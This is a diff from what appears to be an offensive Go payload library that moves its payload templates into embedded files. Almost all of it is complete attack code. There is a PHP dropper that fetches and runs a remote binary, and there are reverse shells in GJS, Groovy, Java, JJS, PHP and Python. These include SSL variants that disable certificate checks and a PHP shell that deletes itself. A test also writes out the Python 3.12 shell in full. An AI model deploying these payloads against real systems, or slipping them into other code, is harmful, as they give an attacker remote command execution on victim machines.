diff --git a/payload/dropper/php.go b/payload/dropper/php.go index e12e2ad..264e4d0 100644 --- a/payload/dropper/php.go +++ b/payload/dropper/php.go @@ -1,31 +1,22 @@ package dropper import ( + _ "embed" "fmt" ) +var ( + //go:embed php/dropper.php + PHPDropper string + //go:embed php/dropper_secure.php + PHPDropperSecure string +) + // Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it. func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string { - cmd := " array("verify_peer" => false,"verify_peer_name" => false,),);` - cmd += `$context = stream_context_create($options);` - cmd += fmt.Sprintf(`$d = file_get_contents("https://%s:%d/%s", false, $context);`, lhost, lport, downloadFile) - } else { - // download the data - cmd += fmt.Sprintf(`$d = file_get_contents("http://%s:%d/%s");`, lhost, lport, downloadFile) + return fmt.Sprintf(PHPDropperSecure, lhost, lport, downloadFile) } - // generate a random file - cmd += `$o=tempnam(sys_get_temp_dir(), "");` - // write the data - cmd += `file_put_contents($o,$d);` - // set the download binary as executable - cmd += `chmod($o, 0755);` - // execute it - cmd += `exec($o);` - // delete it - cmd += `unlink($o); ?>` - return cmd + return fmt.Sprintf(PHPDropper, lhost, lport, downloadFile) } diff --git a/payload/dropper/php/dropper.php b/payload/dropper/php/dropper.php new file mode 100644 index 0000000..d13f137 --- /dev/null +++ b/payload/dropper/php/dropper.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/payload/dropper/php/dropper_secure.php b/payload/dropper/php/dropper_secure.php new file mode 100644 index 0000000..529c4a3 --- /dev/null +++ b/payload/dropper/php/dropper_secure.php @@ -0,0 +1 @@ + array("verify_peer" => false,"verify_peer_name" => false,),);$context = stream_context_create($options);$d = file_get_contents("https://%s:%d/%s", false, $context);$o=tempnam(sys_get_temp_dir(), "");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?> \ No newline at end of file diff --git a/payload/reverse/gjscript.go b/payload/reverse/gjscript.go index 82cffcb..4a5c520 100644 --- a/payload/reverse/gjscript.go +++ b/payload/reverse/gjscript.go @@ -1,35 +1,22 @@ package reverse import ( + _ "embed" "fmt" + "strings" ) -const ( - GJScriptDefault = GJScriptGLibSpawn - GJScriptGLibSpawn = `const Gio = imports.gi.Gio; -const GLib = imports.gi.GLib; - -try { - let connection = (new Gio.SocketClient()).connect_to_host("%s:%d", null, null); - let output = connection.get_output_stream(); - let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() }); - - while (true) { - let [cmd, size] = input.read_line(null); - let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd)); - output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null); - } -} catch (e) { -}` -) +//go:embed gjscript/glib_spawn.gjs +var GJScriptGLibSpawn string +var GJScriptDefault = GJScriptGLibSpawn // Generates Gnome JS payload. func (gjs *GJScriptPayload) Default(lhost string, lport int) string { - return fmt.Sprintf(GJScriptDefault, lhost, lport) + return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n") } // Generates a script that can be used to create a reverse shell via // gjs (Gnome JS - present on Ubuntu, Debian by default). func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string { - return fmt.Sprintf(GJScriptGLibSpawn, lhost, lport) + return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n") } diff --git a/payload/reverse/gjscript/glib_spawn.gjs b/payload/reverse/gjscript/glib_spawn.gjs new file mode 100644 index 0000000..a73e843 --- /dev/null +++ b/payload/reverse/gjscript/glib_spawn.gjs @@ -0,0 +1,15 @@ +const Gio = imports.gi.Gio; +const GLib = imports.gi.GLib; + +try { + let connection = (new Gio.SocketClient()).connect_to_host("%s:%d", null, null); + let output = connection.get_output_stream(); + let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() }); + + while (true) { + let [cmd, size] = input.read_line(null); + let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd)); + output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null); + } +} catch (e) { +} diff --git a/payload/reverse/groovy.go b/payload/reverse/groovy.go index 981bc72..3eee593 100644 --- a/payload/reverse/groovy.go +++ b/payload/reverse/groovy.go @@ -1,25 +1,22 @@ package reverse import ( + _ "embed" "fmt" + "strings" ) -const ( +var ( + //go:embed groovy/classic.groovy + GroovyClassic string GroovyDefault = GroovyClassic - GroovyClassic = `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)` + - `shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();` + - `Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),` + - `si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();` + - `while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)` + - `so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();` + - `Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();` ) func (groovy *GroovyPayload) Default(lhost string, lport int) string { - return groovy.GroovyClassic(lhost, lport) + return strings.Trim(groovy.GroovyClassic(lhost, lport), "\r\n") } // A short payload that creates a reverse shell using /bin/sh -i. func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) string { - return fmt.Sprintf(GroovyClassic, lhost, lport) + return strings.Trim(fmt.Sprintf(GroovyClassic, lhost, lport), "\r\n") } diff --git a/payload/reverse/groovy/classic.groovy b/payload/reverse/groovy/classic.groovy new file mode 100644 index 0000000..4acabe8 --- /dev/null +++ b/payload/reverse/groovy/classic.groovy @@ -0,0 +1 @@ +shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('%s',%d);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); diff --git a/payload/reverse/java.go b/payload/reverse/java.go index a0a0ae6..93304f2 100644 --- a/payload/reverse/java.go +++ b/payload/reverse/java.go @@ -1,42 +1,24 @@ package reverse import ( + _ "embed" "fmt" + "strings" ) -const ( +var ( + //go:embed java/process_builder.java + JavaProcessBuilderInteractive string JavaDefault = JavaProcessBuilderInteractive - JavaProcessBuilderInteractive = `String shell = "/bin/sh"; -if (System.getProperty("os.name").indexOf("Windows") != -1) { - shell = "cmd.exe"; -}; -Process p = new ProcessBuilder(shell).redirectErrorStream(true).start(); -Socket s = new Socket("%s", %d); -InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); -OutputStream po = p.getOutputStream(), so = s.getOutputStream(); -while (!s.isClosed()) { - while (pi.available() > 0) so.write(pi.read()); - while (pe.available() > 0) so.write(pe.read()); - while (si.available() > 0) po.write(si.read()); - so.flush(); - po.flush(); - Thread.sleep(50); - try { - p.exitValue(); - break; - } catch (Exception e) {} -}; -p.destroy(); -s.close();` ) // Defaults to the UnflattenedJava payload. func (java *JavaPayload) Default(lhost string, lport int) string { - return java.UnflattenedJava(lhost, lport) + return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n") } // An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out // the shell using ProcessBuilder and then redirects input/output to/from the sockets. func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string { - return fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport) + return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n") } diff --git a/payload/reverse/java/process_builder.java b/payload/reverse/java/process_builder.java new file mode 100644 index 0000000..bc3d89c --- /dev/null +++ b/payload/reverse/java/process_builder.java @@ -0,0 +1,22 @@ +String shell = "/bin/sh"; +if (System.getProperty("os.name").indexOf("Windows") != -1) { + shell = "cmd.exe"; +}; +Process p = new ProcessBuilder(shell).redirectErrorStream(true).start(); +Socket s = new Socket("%s", %d); +InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); +OutputStream po = p.getOutputStream(), so = s.getOutputStream(); +while (!s.isClosed()) { + while (pi.available() > 0) so.write(pi.read()); + while (pe.available() > 0) so.write(pe.read()); + while (si.available() > 0) po.write(si.read()); + so.flush(); + po.flush(); + Thread.sleep(50); + try { + p.exitValue(); + break; + } catch (Exception e) {} +}; +p.destroy(); +s.close(); diff --git a/payload/reverse/jjs.go b/payload/reverse/jjs.go index 6772d8d..6870da5 100644 --- a/payload/reverse/jjs.go +++ b/payload/reverse/jjs.go @@ -1,7 +1,17 @@ package reverse import ( + _ "embed" "fmt" + "strings" +) + +var ( + //go:embed jjs/reverse_shell.jjs + JJSShell string + + //go:embed jjs/reverse_shell_ssl.jjs + JJSShellSSL string ) // Generates a script that can be used to create a reverse shell via jjs (Java javascript). @@ -14,57 +24,12 @@ import ( // https://redthunder.blog/2018/04/09/disabling-hostname-validation-in-nashorn-javascript/ // https://gist.github.com/frohoff/8e7c2bf3737032a25051 func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) string { - script := `var shell = "bash"; -if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) { - shell = "cmd.exe"; -} -var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();` + var script string if ssl { - script += fmt.Sprintf(` -var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager"); -var permissiveTrustManager = Java.extend(X509TrustManager, - { - getAcceptedIssuers: function(){return null;}, - checkClientTrusted: function(certs, authType){return;}, - checkServerTrusted: function(certs, authType){return;} - } -); -var trustAllCerts = [new permissiveTrustManager()]; -var sc = javax.net.ssl.SSLContext.getInstance("TLS"); -sc.init(null, trustAllCerts, new java.security.SecureRandom()); -var factory = sc.getSocketFactory(); -var s=factory.createSocket("%s", %d); -s.startHandshake()`, lhost, lport) + script = strings.Trim(fmt.Sprintf(JJSShellSSL, lhost, lport), "\r\n") } else { - script += fmt.Sprintf(`var s=new java.net.Socket("%s", %d);`, lhost, lport) - } - script += ` -var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream())); -var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); -var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream())); -var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); - -while (!s.isClosed()) { - var data - if ((data = socketInput.readLine()) != null) { - processInput.write(data + "\n"); - processInput.flush() + script = strings.Trim(fmt.Sprintf(JJSShell, lhost, lport), "\r\n") } - java.lang.Thread.sleep(50); - - while (processOutput.ready() && (data = processOutput.read()) > 0) { - socketOutput.write(data); - } - socketOutput.flush() - try { - p.exitValue(); - break; - } catch (e) { - } -} - -p.destroy(); -s.close();` return script } diff --git a/payload/reverse/jjs/reverse_shell.jjs b/payload/reverse/jjs/reverse_shell.jjs new file mode 100644 index 0000000..dadf3e1 --- /dev/null +++ b/payload/reverse/jjs/reverse_shell.jjs @@ -0,0 +1,31 @@ +var shell = "bash"; +if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) { + shell = "cmd.exe"; +} +var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket("%s", %d); +var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream())); +var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); +var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream())); +var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); + +while (!s.isClosed()) { + var data + if ((data = socketInput.readLine()) != null) { + processInput.write(data + "\n"); + processInput.flush() + } + java.lang.Thread.sleep(50); + + while (processOutput.ready() && (data = processOutput.read()) > 0) { + socketOutput.write(data); + } + socketOutput.flush() + try { + p.exitValue(); + break; + } catch (e) { + } +} + +p.destroy(); +s.close(); diff --git a/payload/reverse/jjs/reverse_shell_ssl.jjs b/payload/reverse/jjs/reverse_shell_ssl.jjs new file mode 100644 index 0000000..131c1df --- /dev/null +++ b/payload/reverse/jjs/reverse_shell_ssl.jjs @@ -0,0 +1,45 @@ +var shell = "bash"; +if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) { + shell = "cmd.exe"; +} +var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start(); +var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager"); +var permissiveTrustManager = Java.extend(X509TrustManager, + { + getAcceptedIssuers: function(){return null;}, + checkClientTrusted: function(certs, authType){return;}, + checkServerTrusted: function(certs, authType){return;} + } +); +var trustAllCerts = [new permissiveTrustManager()]; +var sc = javax.net.ssl.SSLContext.getInstance("TLS"); +sc.init(null, trustAllCerts, new java.security.SecureRandom()); +var factory = sc.getSocketFactory(); +var s=factory.createSocket("%s", %d); +s.startHandshake() +var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream())); +var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); +var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream())); +var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream())); + +while (!s.isClosed()) { + var data + if ((data = socketInput.readLine()) != null) { + processInput.write(data + "\n"); + processInput.flush() + } + java.lang.Thread.sleep(50); + + while (processOutput.ready() && (data = processOutput.read()) > 0) { + socketOutput.write(data); + } + socketOutput.flush() + try { + p.exitValue(); + break; + } catch (e) { + } +} + +p.destroy(); +s.close(); diff --git a/payload/reverse/php.go b/payload/reverse/php.go index d4cf85a..2d69d1d 100644 --- a/payload/reverse/php.go +++ b/payload/reverse/php.go @@ -1,163 +1,28 @@ package reverse import ( + _ "embed" "fmt" + "strings" ) -const ( +var ( PHPDefault = PHPLinuxInteractive PHPLinuxInteractive = `$sock, 1=>$sock, 2=>$sock),$pipes); ?>` - PHPUnflattened = ` 0) { - $readAmount = $size %% 1024; - $data = fread($input, $readAmount); - if (fwrite($output, $data)) { - $size -= $readAmount; - } - } -} - -$windows = false; -$prog = "/bin/sh"; -if (strpos(strtolower(PHP_OS), "win") !== false) { - $windows = true; - $prog = "cmd.exe"; -} - -$context = stream_context_create([ - 'ssl' => [ - 'verify_peer' => false, - 'verify_peer_name' => false - ] -]); - -$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); -$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); -stream_set_blocking($stream, 0); -stream_set_blocking($pipes[0], 0); -stream_set_blocking($pipes[1], 0); -stream_set_blocking($pipes[2], 0); -while(true) { - if (feof($stream) || feof($pipes[1])) { - break; - } - - $readArray = array($stream, $pipes[1], $pipes[2]); - $empty = null; - $selected = stream_select($readArray, $empty, $empty, null); - - if (in_array($stream, $readArray)) { - dataTransfer($stream, $pipes[0]); - } - if ($windows == false) { - if (in_array($pipes[1], $readArray)) { - dataTransfer($pipes[1], $stream); - } - if (in_array($pipes[2], $readArray)) { - dataTransfer($pipes[2], $stream); - } - } else { - if (fstat($pipes[1])["size"]) { - windowsDataTransfer($pipes[1], $stream); - } - if (fstat($pipes[2])["size"]) { - windowsDataTransfer($pipes[2], $stream); - } - } -} - -?>` - PHPUnflattenedSelfDelete = ` 0) { - $readAmount = $size %% 1024; - $data = fread($input, $readAmount); - if (fwrite($output, $data)) { - $size -= $readAmount; - } - } -} - -$windows = false; -$prog = "/bin/sh"; -if (strpos(strtolower(PHP_OS), "win") !== false) { - $windows = true; - $prog = "cmd.exe"; -} - -$context = stream_context_create([ - 'ssl' => [ - 'verify_peer' => false, - 'verify_peer_name' => false - ] -]); - -$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); -$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); -stream_set_blocking($stream, 0); -stream_set_blocking($pipes[0], 0); -stream_set_blocking($pipes[1], 0); -stream_set_blocking($pipes[2], 0); -while(true) { - if (feof($stream) || feof($pipes[1])) { - break; - } - - $readArray = array($stream, $pipes[1], $pipes[2]); - $empty = null; - $selected = stream_select($readArray, $empty, $empty, null); - - if (in_array($stream, $readArray)) { - dataTransfer($stream, $pipes[0]); - } - if ($windows == false) { - if (in_array($pipes[1], $readArray)) { - dataTransfer($pipes[1], $stream); - } - if (in_array($pipes[2], $readArray)) { - dataTransfer($pipes[2], $stream); - } - } else { - if (fstat($pipes[1])["size"]) { - windowsDataTransfer($pipes[1], $stream); - } - if (fstat($pipes[2])["size"]) { - windowsDataTransfer($pipes[2], $stream); - } - } -} -?>` + //go:embed php/unflattened.php + PHPUnflattened string + //go:embed php/unflattened_self_delete.php + PHPUnflattenedSelfDelete string ) func (php *PHPPayload) Default(lhost string, lport int) string { - return php.LinuxInteractive(lhost, lport) + return strings.Trim(php.LinuxInteractive(lhost, lport), "\r\n") } // A short payload that creates a reverse shell using /bin/sh -i. func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string { - return fmt.Sprintf(PHPDefault, lhost, lport) + return strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), "\r\n") } // Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and @@ -171,7 +36,7 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri hostname = "tls://" + hostname } - return fmt.Sprintf(PHPUnflattened, hostname) + return strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), "\r\n") } // Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete @@ -182,5 +47,5 @@ func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted hostname = "tls://" + hostname } - return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname) + return strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), "\r\n") } diff --git a/payload/reverse/php/unflattened.php b/payload/reverse/php/unflattened.php new file mode 100644 index 0000000..0aa956c --- /dev/null +++ b/payload/reverse/php/unflattened.php @@ -0,0 +1,67 @@ + 0) { + $readAmount = $size %% 1024; + $data = fread($input, $readAmount); + if (fwrite($output, $data)) { + $size -= $readAmount; + } + } +} + +$windows = false; +$prog = "/bin/sh"; +if (strpos(strtolower(PHP_OS), "win") !== false) { + $windows = true; + $prog = "cmd.exe"; +} + +$context = stream_context_create([ + 'ssl' => [ + 'verify_peer' => false, + 'verify_peer_name' => false + ] +]); + +$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); +$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); +stream_set_blocking($stream, 0); +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +while(true) { + if (feof($stream) || feof($pipes[1])) { + break; + } + + $readArray = array($stream, $pipes[1], $pipes[2]); + $empty = null; + $selected = stream_select($readArray, $empty, $empty, null); + + if (in_array($stream, $readArray)) { + dataTransfer($stream, $pipes[0]); + } + if ($windows == false) { + if (in_array($pipes[1], $readArray)) { + dataTransfer($pipes[1], $stream); + } + if (in_array($pipes[2], $readArray)) { + dataTransfer($pipes[2], $stream); + } + } else { + if (fstat($pipes[1])["size"]) { + windowsDataTransfer($pipes[1], $stream); + } + if (fstat($pipes[2])["size"]) { + windowsDataTransfer($pipes[2], $stream); + } + } +} + +?> diff --git a/payload/reverse/php/unflattened_self_delete.php b/payload/reverse/php/unflattened_self_delete.php new file mode 100644 index 0000000..fae3315 --- /dev/null +++ b/payload/reverse/php/unflattened_self_delete.php @@ -0,0 +1,75 @@ + 0) { + $readAmount = $size %% 1024; + $data = fread($input, $readAmount); + if (fwrite($output, $data)) { + $size -= $readAmount; + } + } +} + +$windows = false; +$prog = "/bin/sh"; +if (strpos(strtolower(PHP_OS), "win") !== false) { + $windows = true; + $prog = "cmd.exe"; +} + +$context = stream_context_create([ + 'ssl' => [ + 'verify_peer' => false, + 'verify_peer_name' => false + ] +]); + +$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context); +$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes); +stream_set_blocking($stream, 0); +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +while(true) { + if (feof($stream) || feof($pipes[1])) { + break; + } + + $readArray = array($stream, $pipes[1], $pipes[2]); + $empty = null; + $selected = stream_select($readArray, $empty, $empty, null); + + if (in_array($stream, $readArray)) { + dataTransfer($stream, $pipes[0]); + } + if ($windows == false) { + if (in_array($pipes[1], $readArray)) { + dataTransfer($pipes[1], $stream); + } + if (in_array($pipes[2], $readArray)) { + dataTransfer($pipes[2], $stream); + } + } else { + if (fstat($pipes[1])["size"]) { + windowsDataTransfer($pipes[1], $stream); + } + if (fstat($pipes[2])["size"]) { + windowsDataTransfer($pipes[2], $stream); + } + } +} + +?> diff --git a/payload/reverse/python.go b/payload/reverse/python.go index c0651f7..e31abc3 100644 --- a/payload/reverse/python.go +++ b/payload/reverse/python.go @@ -1,37 +1,19 @@ package reverse import ( + _ "embed" "fmt" ) -const ( +var ( PythonDefault = Python27 - Python27 = "import socket\n" + - "import subprocess\n" + - "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + - "s.connect(('%s', %d))\n" + - "while 1:\n" + - " data = s.recv(1024).decode('UTF-8')\n" + - " if data == 'exit\\n':\n" + - " break\n" + - " if len(data) > 0:\n" + - " proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n" + - " s.send(proc.stdout.read() + proc.stderr.read())\n" + - "s.close()\n" - Python27Secure = "import socket\n" + - "import subprocess\n" + - "import ssl\n" + - "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + - "s.connect(('%s', %d))\n" + - "sslsock = ssl.wrap_socket(s, cert_reqs=ssl.CERT_NONE)\n" + - "while 1:\n" + - " data = sslsock.recv(1024).decode('UTF-8')\n" + - " if data == 'exit\\n':\n" + - " break\n" + - " if len(data) > 0:\n" + - " proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n" + - " sslsock.send(proc.stdout.read() + proc.stderr.read())\n" + - "sslsock.close()\n" + + //go:embed python/reverse27.py + Python27 string + //go:embed python/reverse27_secure.py + Python27Secure string + //go:embed python/reverse3_12_secure.py + Python3_12Secure string ) func (py *PythonPayload) Default(lhost string, lport int) string { @@ -47,3 +29,10 @@ func (py *PythonPayload) Python27(lhost string, lport int) string { func (py *PythonPayload) SecurePython27(lhost string, lport int) string { return fmt.Sprintf(Python27Secure, lhost, lport) } + +// An unflattened reverse shell that uses an SSL socket for Python 3.12 context, Windows and Linux. +// This payload is required when doing 3.12 SSL reverse shells as Python moved to requiring SSL +// context over simple socket wraps. +func (py *PythonPayload) SecurePython312(lhost string, lport int) string { + return fmt.Sprintf(Python3_12Secure, lhost, lport) +} diff --git a/payload/reverse/python/reverse27.py b/payload/reverse/python/reverse27.py new file mode 100644 index 0000000..4d3fe80 --- /dev/null +++ b/payload/reverse/python/reverse27.py @@ -0,0 +1,12 @@ +import socket +import subprocess +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('%s', %d)) +while 1: + data = s.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + s.send(proc.stdout.read() + proc.stderr.read()) +s.close() diff --git a/payload/reverse/python/reverse27_secure.py b/payload/reverse/python/reverse27_secure.py new file mode 100644 index 0000000..b713b53 --- /dev/null +++ b/payload/reverse/python/reverse27_secure.py @@ -0,0 +1,14 @@ +import socket +import subprocess +import ssl +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('%s', %d)) +sslsock = ssl.wrap_socket(s, cert_reqs=ssl.CERT_NONE) +while 1: + data = sslsock.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + sslsock.send(proc.stdout.read() + proc.stderr.read()) +sslsock.close() diff --git a/payload/reverse/python/reverse3_12_secure.py b/payload/reverse/python/reverse3_12_secure.py new file mode 100644 index 0000000..a14e998 --- /dev/null +++ b/payload/reverse/python/reverse3_12_secure.py @@ -0,0 +1,17 @@ +import socket +import subprocess +import ssl +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('%s', %d)) +ssls = ssl.create_default_context() +ssls.check_hostname=False +ssls.verify_mode=ssl.CERT_NONE +sslsock = ssls.wrap_socket(s) +while 1: + data = sslsock.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + sslsock.send(proc.stdout.read() + proc.stderr.read()) +sslsock.close() diff --git a/payload/reverse/reverse_test.go b/payload/reverse/reverse_test.go index 12ff121..41738ce 100644 --- a/payload/reverse/reverse_test.go +++ b/payload/reverse/reverse_test.go @@ -167,3 +167,29 @@ func TestGroovyClassic(t *testing.T) { t.Fatal(payload) } } + +func TestPython312(t *testing.T) { + payload := reverse.Python.SecurePython312("127.0.0.2", 9000) + expected := `import socket +import subprocess +import ssl +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 9000)) +ssls = ssl.create_default_context() +ssls.check_hostname=False +ssls.verify_mode=ssl.CERT_NONE +sslsock = ssls.wrap_socket(s) +while 1: + data = sslsock.recv(1024).decode('UTF-8') + if data == 'exit\n': + break + if len(data) > 0: + proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + sslsock.send(proc.stdout.read() + proc.stderr.read()) +sslsock.close() +` + + if payload != expected { + t.Fatal(payload) + } +}